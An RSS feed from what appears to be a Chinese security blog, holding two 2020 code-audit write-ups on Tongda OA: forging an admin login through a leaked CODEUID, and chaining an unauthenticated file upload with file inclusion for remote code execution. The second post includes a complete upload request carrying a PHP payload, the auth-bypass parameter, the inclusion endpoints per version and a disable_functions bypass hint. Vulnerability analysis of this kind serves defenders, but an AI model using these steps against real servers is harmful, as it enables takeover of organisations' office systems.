<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>通达OA &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E9%80%9A%E8%BE%BEoa/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Thu, 23 Apr 2020 07:20:11 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>通达OA前台任意伪造用户登录分析</title>
		<link>/audit/1516.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 23 Apr 2020 07:20:11 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[通达OA]]></category>
		<guid isPermaLink="false">/?p=1516</guid>

					<description><![CDATA[环境 通达OA历史版本下载：https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe 解密工具：https://pan.baidu.c...]]>/</description>
										<content:encoded><![CDATA[<h2>环境</h2>
<p><span class="wpcom_tag_link"><a href="/tags/%e9%80%9a%e8%be%beoa" title="通达OA" target="_blank">通达OA</a></span>历史版本下载：https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe</p>
<p>解密工具：https://pan.baidu.com/s/1c14V6pi</p>
<h2>复现</h2>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/ddd98fa5-faf4-efe2-358d-4bfb7b59d0aa.png" alt="image.png" /></p>
<p><img src="/wp-content/uploads/2020/04/aab605e2-fd67-afca-05e3-744d9c758379.png" alt="image.png" /></p>
<p>拿到UID为1及管理员的SESSION直接登陆<br />
<img src="/wp-content/uploads/2020/04/15c01dd4-77c5-11ae-8d01-b690c11da794.png" alt="image.png" /></p>
<h2>分析</h2>
<p><img src="/wp-content/uploads/2020/04/c1de3eb3-a674-aee4-3924-43abb795dbc8.png" alt="image.png" /><br />
在logincheck_code.php中UID可控，当UID为1时，用户默认为admin管理员。<br />
<img src="/wp-content/uploads/2020/04/58644cef-1068-5bfa-7874-e752b9f1d874.png" alt="image.png" /><br />
在其后180行左右将信息保存到SESSION中。那么只要绕过了18行的exit()就可以了。</p>
<pre><code class="language-php ">$CODEUID = $_POST["CODEUID"];
$login_codeuid = TD::get_cache("CODE_LOGIN" . $CODEUID);
if (!isset($login_codeuid) || empty($login_codeuid)) {
    $databack = array("status" =&gt; 0, "msg" =&gt; _("参数错误！"), "url" =&gt; "general/index.php?isIE=0");
    echo json_encode(td_iconv($databack, MYOA_CHARSET, "utf-8"));
    exit();
}
</code></pre>
<p>login_codeuid 从redis缓存中<code>TD::get_cache()</code>获取<code>"CODE_LOGIN" . $CODEUID</code>，搜索下可不可控<br />
<img src="/wp-content/uploads/2020/04/d2d38ac6-580a-c3e3-c42d-e859f24f347c.png" alt="image.png" /></p>
<p>跟进<code>generallogin_code.php</code></p>
<pre><code class="language-php ">&lt;?php

include_once "inc/utility_all.php";
include_once "inc/utility_cache.php";
include_once "inc/phpqrcode.php";
$codeuid = $_GET["codeuid"];
$login_codeuid = TD::get_cache("CODE_LOGIN" . $codeuid);
$tempArr = array();
$login_codeuid = (preg_match_all("/[^a-zA-Z0-9-{}/]+/", $login_codeuid, $tempArr) ? "" : $login_codeuid);

if (empty($login_codeuid)) {
    $login_codeuid = getUniqid();
}

$databack = array("codeuid" =&gt; $login_codeuid, "source" =&gt; "web", "codetime" =&gt; time());
$dataStr = td_authcode(json_encode($databack), "ENCODE");
$dataStr = "LOGIN_CODE" . $dataStr;
$data = QRcode::text($dataStr, false, "L", 4);
$data = serialize($data);
if (($data != "") &amp;&amp; ($data != NULL)) {
    if (unserialize($data)) {
        $matrixPointSize = 1.5;
        QRimage::png(unserialize($data), false, $matrixPointSize);
    }
    else {
        $im = imagecreatefromstring($data);

        if ($im !== false) {
            header("Content-Type: image/png");
            imagepng($im);
        }
    }
}

TD::set_cache("CODE_LOGIN" . $login_codeuid, $login_codeuid, 120);
$databacks = array("status" =&gt; 1, "code_uid" =&gt; $login_codeuid);
echo json_encode(td_iconv($databacks, MYOA_CHARSET, "utf-8"));
echo "rnrnrn";

?&gt;
</code></pre>
<p>当<code>$login_codeuid</code>为空时会<code>getUniqid()</code>生成一个存入redis缓存并且在最后echo出来。所以我们可以通过直接get请求<code>generallogin_code.php</code>拿到<code>CODEUID</code><br />
<img src="/wp-content/uploads/2020/04/b74a0aaf-5a0a-0cae-5763-171b1c437746.png" alt="image.png" /><br />
使用之前的CODEUID即可绕过if条件的exit()。</p>
<h2>总结</h2>
<p>很蠢的错误。通达真的不考虑抛弃全局变量覆盖吗？</p>
<p>拓展下的话，尝试寻找下通过get_cache()获取的变量影响到sql语句什么的。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>通达OA 任意文件上传配合文件包含导致RCE</title>
		<link>/audit/1345.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 18 Mar 2020 13:09:32 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[通达OA]]></category>
		<guid isPermaLink="false">/?p=1345</guid>

					<description><![CDATA[昨晚爆出来，今天早上分析分析。 复现 POST /ispirit/im/upload.php HTTP/1.1 Host: 192.168.124.138 Content-Leng...]]></description>
										<content:encoded><![CDATA[<p>昨晚爆出来，今天早上分析分析。<br />
<span id="more-1345"></span></p>
<h2>复现</h2>
<pre><code class="">POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.124.138
Content-Length: 463
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTfafXJtEseBHh3r1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: KEY_RANDOMDATA=3656; PHPSESSID=Y4er
Connection: close

------WebKitFormBoundaryTfafXJtEseBHh3r1
Content-Disposition: form-data; name="ATTACHMENT"; filename="1.png"
Content-Type: application/octet-stream

&lt;?php echo 'Y4er';
------WebKitFormBoundaryTfafXJtEseBHh3r1
Content-Disposition: form-data; name="P"

Y4er
------WebKitFormBoundaryTfafXJtEseBHh3r1
Content-Disposition: form-data; name="DEST_UID"

12
------WebKitFormBoundaryTfafXJtEseBHh3r1
Content-Disposition: form-data; name="UPLOAD_MODE"

1

</code></pre>
<p><img src="/wp-content/uploads/2020/03/20200318213312-1.png" alt="image" /></p>
<p>先上传文件，然后文件包含</p>
<p><img src="/wp-content/uploads/2020/03/20200318211780-1.png" alt="image" /></p>
<h2>文件上传</h2>
<p>代码是zend加密的，百度一搜一大把解密。</p>
<p>文件上传的代码</p>
<pre><code class="language-php ">&lt;?php
//decode by http://dezend.qiling.org/  QQ 2859470

set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
    ob_start();
    include_once 'inc/session.php';
    session_id($P);
    session_start();
    session_write_close();
} else {
    include_once './auth.php';
}
include_once 'inc/utility_file.php';
include_once 'inc/utility_msg.php';
include_once 'mobile/inc/funcs.php';
ob_end_clean();
$TYPE = $_POST['TYPE'];
$DEST_UID = $_POST['DEST_UID'];
$dataBack = array();
if ($DEST_UID != '' &amp;&amp; !td_verify_ids($ids)) {
    $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('接收方ID无效'));
    echo json_encode(data2utf8($dataBack));
    exit;
}
if (strpos($DEST_UID, ',') !== false) {
} else {
    $DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
    if ($UPLOAD_MODE != 2) {
        $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('接收方ID无效'));
        echo json_encode(data2utf8($dataBack));
        exit;
    }
}
$MODULE = 'im';
if (1 &lt;= count($_FILES)) {
    if ($UPLOAD_MODE == '1') {
        if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != strlen($_FILES['ATTACHMENT']['name'])) {
            $_FILES['ATTACHMENT']['name'] = urldecode($_FILES['ATTACHMENT']['name']);
        }
    }
    $ATTACHMENTS = upload('ATTACHMENT', $MODULE, false);
    if (!is_array($ATTACHMENTS)) {
        $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . $ATTACHMENTS);
        echo json_encode(data2utf8($dataBack));
        exit;
    }
    ob_end_clean();
    $ATTACHMENT_ID = substr($ATTACHMENTS['ID'], 0, -1);
    $ATTACHMENT_NAME = substr($ATTACHMENTS['NAME'], 0, -1);
    if ($TYPE == 'mobile') {
        $ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), 'utf-8', MYOA_CHARSET);
    }
} else {
    $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('无文件上传'));
    echo json_encode(data2utf8($dataBack));
    exit;
}
$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
if (!$FILE_SIZE) {
    $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('文件上传失败'));
    echo json_encode(data2utf8($dataBack));
    exit;
}
if ($UPLOAD_MODE == '1') {
    if (is_thumbable($ATTACHMENT_NAME)) {
        $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
        $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
        CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
    }
    $P_VER = is_numeric($P_VER) ? intval($P_VER) : 0;
    $MSG_CATE = $_POST['MSG_CATE'];
    if ($MSG_CATE == 'file') {
        $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
    } else {
        if ($MSG_CATE == 'image') {
            $CONTENT = '[im]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/im]';
        } else {
            $DURATION = intval($DURATION);
            $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
        }
    }
    $AID = 0;
    $POS = strpos($ATTACHMENT_ID, '@');
    if ($POS !== false) {
        $AID = intval(substr($ATTACHMENT_ID, 0, $POS));
    }
    $query = 'INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values ('' . date('Y-m-d H:i:s') . '','' . $_SESSION['LOGIN_UID'] . '','' . $DEST_UID . '','*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '','' . $FILE_SIZE . '','0','' . $AID . '')';
    $cursor = exequery(TD::conn(), $query);
    $FILE_ID = mysql_insert_id();
    if ($cursor === false) {
        $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('数据库操作失败'));
        echo json_encode(data2utf8($dataBack));
        exit;
    }
    $dataBack = array('status' =&gt; 1, 'content' =&gt; $CONTENT, 'file_id' =&gt; $FILE_ID);
    echo json_encode(data2utf8($dataBack));
    exit;
} else {
    if ($UPLOAD_MODE == '2') {
        $DURATION = intval($_POST['DURATION']);
        $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
        $query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES ('' . $_SESSION['LOGIN_UID'] . '', '' . $CONTENT . '', '' . time() . '')';
        $cursor = exequery(TD::conn(), $query);
        echo '+OK ' . $CONTENT;
    } else {
        if ($UPLOAD_MODE == '3') {
            if (is_thumbable($ATTACHMENT_NAME)) {
                $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
                $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
                CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
            }
            echo '+OK ' . $ATTACHMENT_ID;
        } else {
            $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
            $msg_id = send_msg($_SESSION['LOGIN_UID'], $DEST_UID, 1, $CONTENT, '', 2);
            $query = 'insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values ('' . date('Y-m-d H:i:s') . '','' . $_SESSION['LOGIN_UID'] . '','' . $DEST_UID . '','*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '','' . $FILE_SIZE . '','0')';
            $cursor = exequery(TD::conn(), $query);
            $FILE_ID = mysql_insert_id();
            if ($cursor === false) {
                echo '-ERR ' . _('数据库操作失败');
                exit;
            }
            if ($FILE_ID == 0) {
                echo '-ERR ' . _('数据库操作失败2');
                exit;
            }
            echo '+OK ,' . $FILE_ID . ',' . $msg_id;
            exit;
        }
    }
}
</code></pre>
<p>关键点在于<br />
<img src="/wp-content/uploads/2020/03/20200318211110-1.png" alt="image" /></p>
<p>POST提交P参数，就不会引入auth.php，进而绕过登陆。</p>
<p><img src="/wp-content/uploads/2020/03/20200318218839-1.png" alt="image" /></p>
<p>然后就是需要传一个DEST_UID参数来过exit，只要不为0或空的数字都可以。然后就可以走到upload函数了，接下来如果<code>$UPLOAD_MODE == '1'</code>就会把<code>ATTACHMENT_ID</code>输出出来，这个id其实就是我们马的文件名，但是因为不在web目录，所以需要一个文件包含。</p>
<h2>文件包含</h2>
<p>代码</p>
<pre><code class="language-php ">&lt;?php
//decode by http://dezend.qiling.org/  QQ 2859470

ob_start();
include_once 'inc/session.php';
include_once 'inc/conn.php';
include_once 'inc/utility_org.php';
if ($P != '') {
    if (preg_match('/[^a-z0-9;]+/i', $P)) {
        echo _('非法参数');
        exit;
    }
    session_id($P);
    session_start();
    session_write_close();
    if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') {
        echo _('RELOGIN');
        exit;
    }
}
if ($json) {
    $json = stripcslashes($json);
    $json = (array) json_decode($json);
    foreach ($json as $key =&gt; $val) {
        if ($key == 'data') {
            $val = (array) $val;
            foreach ($val as $keys =&gt; $value) {
                ${$keys} = $value;
            }
        }
        if ($key == 'url') {
            $url = $val;
        }
    }
    if ($url != '') {
        if (substr($url, 0, 1) == '/') {
            $url = substr($url, 1);
        }
        include_once $url;
    }
    exit;
}
</code></pre>
<p>这里不传P参数就能绕过exit了，然后走到下面的include_once进行文件包含造成RCE。</p>
<h2>其他</h2>
<p>我的环境是通达oa2017，2020/03/18从官网下的。php.ini默认禁用了<code>disable_functions = exec,shell_exec,system,passthru,proc_open,show_sou<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>,phpinfo</code>，不知道其他版本是什么情况。参考使用com组件绕过disable_function</p>
<p><span class="wpcom_tag_link"><a href="/tags/%e9%80%9a%e8%be%beoa" title="通达OA" target="_blank">通达OA</a></span>之前报过变量覆盖的洞，所以你要知道直接传入的参数就会被覆盖掉变量里，这也是上面UPLOAD_MODE、P、DEST_UID可以直接传入的原因。</p>
<p>有些版本gateway.php路径不同，例如2013：</p>
<pre><code class="">/ispirit/im/upload.php
/ispirit/interface/gateway.php
</code></pre>
<p>例如2017：</p>
<pre><code class="">/ispirit/im/upload.php
/mac/gateway.php
</code></pre>
<h2>参考链接</h2>
<ul>
<li>http://www.tongda2000.com/news/673.php</li>
<li>http://club.tongda2000.com/forum.php?mod=viewthread&amp;tid=128377</li>
<li>https://github.com/jas502n/OA-tongda-RCE</li>
</ul>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
